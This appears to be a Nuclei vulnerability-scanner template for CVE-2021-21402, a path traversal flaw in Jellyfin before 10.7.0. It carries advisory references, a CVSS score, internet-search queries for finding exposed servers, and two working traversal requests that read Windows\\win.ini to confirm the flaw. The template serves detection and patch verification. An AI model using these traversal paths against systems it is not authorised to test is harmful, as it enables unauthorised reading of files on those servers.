id: CVE-2021-21402

info:
  name: Jellyfin <10.7.0 - Local File Inclusion
  author: dwisiswant0
  severity: medium
  description: |
    Jellyfin before 10.7.0 is vulnerable to local file inclusion. This issue is more prevalent when Windows is used as the host OS. Servers exposed to public Internet are potentially at risk.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2021-050-jellyfin/
    - https://github.com/jellyfin/jellyfin/security/advisories/GHSA-wg4c-c9g9-rxhx
    - https://github.com/jellyfin/jellyfin/releases/tag/v10.7.1
    - https://github.com/jellyfin/jellyfin/commit/0183ef8e89195f420c48d2600bc0b72f6d3a7fd7
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21402
  remediation: This is fixed in version 10.7.1.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-21402
    cwe-id: CWE-22
    cpe: cpe:2.3:a:jellyfin:jellyfin:*:*:*:*:*:*:*:*
    epss-score: 0.30694
  metadata:
    max-request: 2
    fofa-query: title="Jellyfin" || body="http://jellyfin.media"
    shodan-query: http.html:"Jellyfin"
    verified: "true"
  tags: cve,cve2021,jellyfin,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/Audio/1/hls/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
      - "{{BaseURL}}/Videos/1/hls/m/..%5C..%5C..%5C..%5C..%5C..%5CWindows%5Cwin.ini/stream.mp3/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Content-Type: application/octet-stream"
        part: header
      - type: regex
        regex:
          - "\\[(font|extension|file)s\\]"
        part: body

# Enhanced by mp on 2022/07/22